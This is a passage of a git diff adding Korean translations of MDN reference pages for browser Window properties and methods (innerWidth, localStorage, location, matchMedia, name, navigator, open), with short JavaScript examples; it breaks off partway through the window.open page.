innerWidth 값은 window, frame, frameset이나 다른 윈도우들처럼 모든 window 형식의 객체에서 사용할 수 있습니다.

+ +

There is an algorithm to obtain the width of the viewport excluding, if rendered, the vertical scrollbar.

+ +

예제

+ +
// 다음과 같이 뷰포트의 폭을 받아올 수 있습니다.
+var intFrameWidth = window.innerWidth;
+
+// 다음과 같이 frameset 안의 어떤 frame의 뷰포트 폭을 받아올 수 있습니다.
+var intFrameWidth = self.innerWidth;
+
+// 다음과 같이 가장 가까운 frameset의 뷰포트 폭을 받아올 수 있습니다.
+var intFramesetWidth = parent.innerWidth;
+
+// 다음과 같이 가장 바깥쪽 프레임셋의 뷰포트 폭을 받아올 수 있습니다.
+var intOuterFramesetWidth = top.innerWidth;
+ +

윈도우의 사이즈를 변경하려면, {{domxref("window.resizeBy")}} 또는 {{domxref("window.resizeTo")}}를 참조하세요.

+ +

명세

+ +

 

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-window-innerwidth', 'window.innerWidth')}}{{Spec2('CSSOM View')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Window.innerWidth")}}

+ +

참고 자료

+ + diff --git a/files/ko/web/api/window/length/index.html b/files/ko/web/api/window/length/index.html new file mode 100644 index 0000000000..b2d61b92af --- /dev/null +++ b/files/ko/web/api/window/length/index.html @@ -0,0 +1,51 @@ +--- +title: Window.length +slug: Web/API/Window/length +translation_of: Web/API/Window/length +--- +
{{ ApiRef() }}
+ +

window의 frame 개수를 반환합니다. ({{HTMLElement("frame")}} 또는 {{HTMLElement("iframe")}} 요소들 중 하나) 

+ +

신텍스

+ +
framesCount = window.length;
+
+ + + +

예제

+ +
if (window.length) {
+  // document의 subframes
+}
+ +

명세서

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}{{Spec2('HTML5 W3C')}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.length")}}

diff --git a/files/ko/web/api/window/localstorage/index.html b/files/ko/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..328650bb16 --- /dev/null +++ b/files/ko/web/api/window/localstorage/index.html @@ -0,0 +1,92 @@ +--- +title: Window.localStorage +slug: Web/API/Window/localStorage +tags: + - API + - Property + - Read-only + - Reference + - Storage + - Web Storage + - Window + - WindowLocalStorage + - 로컬스토리지 +translation_of: Web/API/Window/localStorage +--- +

{{APIRef("Web Storage API")}}

+ +

localStorage 읽기 전용 속성을 사용하면 {{domxref("Document")}} {{glossary("origin", "출처")}}의 {{domxref("Storage")}} 객체에 접근할 수 있습니다. 저장한 데이터는 브라우저 세션 간에 공유됩니다. localStorage는 {{domxref("Window.sessionStorage", "sessionStorage")}}와 비슷하지만, localStorage의 데이터는 만료되지 않고 sessionStorage의 데이터는 페이지 세션이 끝날 때, 즉 페이지를 닫을 때 사라지는 점이 다릅니다. ("사생활 보호 모드" 중 생성한 localStorage 데이터는 마지막 "사생활 보호" 탭이 닫힐 때 지워집니다.)

+ +

localStorage에 저장한 자료는 페이지 프로토콜별로 구분합니다. 특히 HTTP(http://example.com)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(https://example.com)와는 다른 localStorage에 저장됩니다.

+ +

키와 값은 항상 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.

+ +

구문

+ +
myStorage = window.localStorage;
+ +

+ +

현재 {{glossary("origin", "출처")}}의 로컬 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.

+ +

예외

+ +
+
SecurityError
+
요청이 정책의 결정을 위반했거나, 출처가 유효한 스킴/호스트/포트 튜플이 아닌 경우. 유효하지 않은 튜플은 출처가 file:이나 data: 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.
+
+ +

예제

+ +

아래 코드는 현재 도메인의 로컬 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.

+ +
localStorage.setItem('myCat', 'Tom');
+
+ +

위에서 추가한 localStorage 항목을 읽는 법은 다음과 같습니다.

+ +
const cat = localStorage.getItem('myCat');
+ +

그리고 제거는 아래와 같습니다.

+ +
localStorage.removeItem('myCat');
+ +

localStorage 항목의 전체 제거 구문입니다.

+ +
localStorage.clear();
+
+ +
+

참고: Web Storage API 사용하기 문서에서 전체 예제를 살펴보세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태Comment
{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.localStorage")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/window/location/index.html b/files/ko/web/api/window/location/index.html new file mode 100644 index 0000000000..702857e02e --- /dev/null +++ b/files/ko/web/api/window/location/index.html @@ -0,0 +1,213 @@ +--- +title: Window.location +slug: Web/API/Window/location +tags: + - API + - HTML + - Window + - 레퍼런스 +translation_of: Web/API/Window/location +--- +

{{APIRef}}

+ +

Window.location 프로퍼티에 접근하면 읽기 전용인 {{domxref("Location")}} 오브젝트를 얻어올 수 있습니다. 이는 현재 도큐먼트의 로케이션에 대한 정보를 담고 있습니다.

+ +

Though Window.location is a read-only Location object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'.

+ +

문법

+ +
var oldLocation = location;
+location = newLocation;
+
+ +

예제

+ +

Basic Example

+ +
alert(location); // alerts "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"
+ +

예제 #1: 새 페이지로 이동하기

+ +

Whenever a new value is assigned to the location object, a document will be loaded using the URL as if location.assign() had been called with the modified URL. Note that security settings, like CORS, may prevent this to effectively happen.

+ +
location.assign("http://www.mozilla.org"); // 또는
+location = "http://www.mozilla.org";
+
+ +

예제 #2: 서버로부터 현재 페이지 강제로 다시 로드하기

+ +
location.reload(true);
+ +

예제 #3

+ +

Consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash:

+ +
function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+
+ +
Note: The example above works in situations where location.hash does not need to be retained. However, in Gecko-based browsers, setting location.pathname in this manner will erase any information in location.hash, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the hash. If you need to change pathname but keep the hash as is, use the replace() method instead, which should work consistently across browsers.
+ +

예제 #4: Display the properties of the current URL in an alert dialog:

+ +
function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: <button onclick="showLoc();">Show location properties</button>
+
+ +

예제 #5: Send a string of data to the server by modifying the search property:

+ +
function sendData (sData) {
+  location.search = sData;
+}
+
+// in html: <button onclick="sendData('Some data');">Send data</button>
+
+ +

The current URL with "?Some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).

+ +

예제 #6: Using bookmarks without changing the hash property:

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="UTF-8"/>
+<title>MDN Example</title>
+<script>
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+</script>
+<style>
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+</style>
+</head>
+
+<body>
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.</p>
+<p id="myBookmark1">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark2');">Go to bookmark #2</span>&nbsp;]</p>
+<p>Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+<p>Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.</p>
+<p>Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.</p>
+<p>Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.</p>
+<p>Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.</p>
+<p id="myBookmark2">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark1');">Go to bookmark #1</span> | <span class="intLink" onclick="showBookmark('#myBookmark1', false);">Go to bookmark #1 without using location.hash</span> | <span class="intLink" onclick="showBookmark('#myBookmark3');">Go to bookmark #3</span>&nbsp;]</p>
+<p>Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.</p>
+<p>Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.</p>
+<p id="myBookmark3"><em>Here is the bookmark #3</em></p>
+<p>Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.</p>
+<p>Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.</p>
+<p>Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.</p>
+<p>Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.</p>
+<p>Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.</p>
+<p>Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.</p>
+<p>Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.</p>
+<p>Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.</p>
+<p>Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.</p>
+<p>Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</p>
+</body>
+</html>
+
+ +
Note: The function showNode is also an example of the use of the for cycle without a statement section. In this case a semicolon is always put immediately after the declaration of the cycle.
+ +

아래는 같은 역할을 하지만, 애니메이션 스크롤이 들어간 버전…:

+ +
var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame > nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash && _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId > -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Window.location")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/matchmedia/index.html b/files/ko/web/api/window/matchmedia/index.html new file mode 100644 index 0000000000..224edecbd1 --- /dev/null +++ b/files/ko/web/api/window/matchmedia/index.html @@ -0,0 +1,77 @@ +--- +title: Window.matchMedia() +slug: Web/API/Window/matchMedia +tags: + - API + - CSSOM View + - JavaScript + - Media Queries + - Method + - Reference +translation_of: Web/API/Window/matchMedia +--- +
{{APIRef}}
+ +

Window.matchMedia() 메서드는 주어진 미디어 쿼리 문자열의 분석 결과를 나타내는 {{domxref("MediaQueryList")}} 객체를 반환합니다.

+ +

구문

+ +
window.matchMedia(mediaQueryString)
+ +

매개변수

+ +
+
mediaQueryString
+
분석할 미디어 쿼리를 나타내는 문자열.
+
+ +

반환 값

+ +

주어진 미디어 쿼리에 대한 {{domxref("MediaQueryList")}} 객체,

+ +

예제

+ +

다음 예제는 화면이 매우 좁을 때 다른 작업을 수행합니다.

+ +
if (window.matchMedia("(min-width: 400px)").matches) {
+  /* 뷰포트 너비가 400 픽셀 이상 */
+} else {
+  /* 뷰포트 너비가 400 픽셀 미만 */
+}
+
+ +

더 많은 예제는 Testing media queries programmatically를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-matchmedia", "Window.matchMedia()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.matchMedia")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/name/index.html b/files/ko/web/api/window/name/index.html new file mode 100644 index 0000000000..54228c7183 --- /dev/null +++ b/files/ko/web/api/window/name/index.html @@ -0,0 +1,32 @@ +--- +title: Window.name +slug: Web/API/Window/name +tags: + - 참고 + - 창 +translation_of: Web/API/Window/name +--- +
{{APIRef}}
+ +

요약

+ +

창의 이름을 얻거나/설정합니다.

+ +

문법

+ +
string = window.name;
+window.name = string;
+
+ +

예제

+ +
window.name = "lab_view";
+
+ +

설명

+ +

창의 이름은 주로 하이퍼링크나 폼의 target으로 설정됩니다. 그외엔, 창은 이름을 가지는 것을 거의 필요로 하지 않습니다.

+ +

또한 몇몇 프레임워크에서 창의 이름은 cross-domain messaging을 제공하기 위해 사용됩니다. (예를 들면, SessionVars 과 Dojo's dojox.io.windowName) 좀더 보안을 생각한다면 JSONP로 대체 될 수 있습니다. 하지만 최근 의 웹어플리케이션이 호스팅하는 민감한 데이터들은 cross-domain messaging을 이용하기 위해서 window.name에 의존해서는 안되며, 대신 postMessage API를 이용하는 방법이 있습니다.

+ +

window.nametoString 메소드를 이용해 모든 값을 문자열로 변환합니다.

diff --git a/files/ko/web/api/window/navigator/index.html b/files/ko/web/api/window/navigator/index.html new file mode 100644 index 0000000000..2c37903789 --- /dev/null +++ b/files/ko/web/api/window/navigator/index.html @@ -0,0 +1,44 @@ +--- +title: Window.navigator +slug: Web/API/Window/navigator +tags: + - API + - DOM + - Property + - Read-only + - Reference + - Window +translation_of: Web/API/Window/navigator +--- +
{{APIRef}}
+ +

Window.navigator 읽기 전용 속성은 스크립트를 구동 중인 애플리케이션에 대한 메서드와 속성을 가진 {{domxref("Navigator")}} 객체의 참조를 반환합니다.

+ +

구문

+ +
const navigatorObject = window.navigator
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.navigator")}}

diff --git a/files/ko/web/api/window/open/index.html b/files/ko/web/api/window/open/index.html new file mode 100644 index 0000000000..eefa823c08 --- /dev/null +++ b/files/ko/web/api/window/open/index.html @@ -0,0 +1,665 @@ +--- +title: Window.open() +slug: Web/API/Window/open +translation_of: Web/API/Window/open +--- +
{{APIRef}}
+ +

 {{domxref("Window")}} 인터페이스인 open() 메써드는 명시된 리소스를 명시된 이름으로 브라우징 컨텍스트(윈도우, {{HTMLElement("iframe")}} 또는 탭)에 로드한다. 이름이 없다면 새 윈도우가 열리고 이 윈도우의 브라우징 컨텍스트에 명시된 리소스가 열린다.

+ +

문법

+ +
var window = window.open(url, windowName, [windowFeatures]);
+ +

Parameters

+ +
+
url
+
A {{domxref("DOMString")}} indicating the URL of the resource to be loaded. This can be a path or URL to an HTML page, image file, or any other resource which is supported by the browser. If the empty string ("") is specified as url, a blank page is opened into the targeted browsing context.
+
windowName
+
A {{domxref("DOMString")}} specifying the name of the browsing context (window, {{HTMLElement("iframe")}} or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowName. This name can then be used as the target of links and forms by specifying it as the target attribute of {{HTMLElement("a")}} or {{HTMLElement("form")}} elements. The name should not contain whitespace. Keep in mind that this will not be used as the window's displayed title.
+ If the string is empty, the browser will create a new window every time (this behaviour doesn't work when the string is replaced with NULL).
+
windowFeatures {{optional_inline}}
+
A {{domxref("DOMString")}} containing a comma-separated list of window features given with their corresponding values in the form "name=value". These features include options such as the window's default size and position, whether or not to include scroll bars, and so forth. There must be no whitespace in the string. See {{anch("Window features")}} below for documentation of each of the features that can be specified.
+
+ +

Return value

+ +

A {{domxref("Window")}} object representing to the newly created window. If the window couldn't be opened, the returned value is instead null. The returned Window reference can be used to access properties and methods of the new window as long as it complies with Same-origin policy security requirements.

+ +

Description

+ +

The open() method creates a new secondary browser window, similar to choosing New Window from the File menu. The strUrl parameter specifies the URL to be fetched and loaded in the new window. If strUrl is an empty string, then a new blank, empty window (URL about:blank) is created with the default toolbars of the main window.

+ +

Note that remote URLs won't load immediately. When window.open() returns, the window always contains about:blank. The actual fetching of the URL is deferred and starts after the current script block finishes executing. The window creation and the loading of the referenced resource are done asynchronously.

+ +

Examples

+ +
var windowObjectReference;
+var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
+
+function openRequestedPopup() {
+  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures);
+}
+ +
var windowObjectReference;
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImageFile.png",
+    "DescriptiveWindowName",
+    "resizable,scrollbars,status"
+  );
+}
+ +

If a window with the name already exists, then strUrl is loaded into the existing window. In this case the return value of the method is the existing window and strWindowFeatures is ignored. Providing an empty string for strUrl is a way to get a reference to an open window by its name without changing the window's location. To open a new window on every call of window.open(), use the special value _blank for strWindowName.

+ +
+

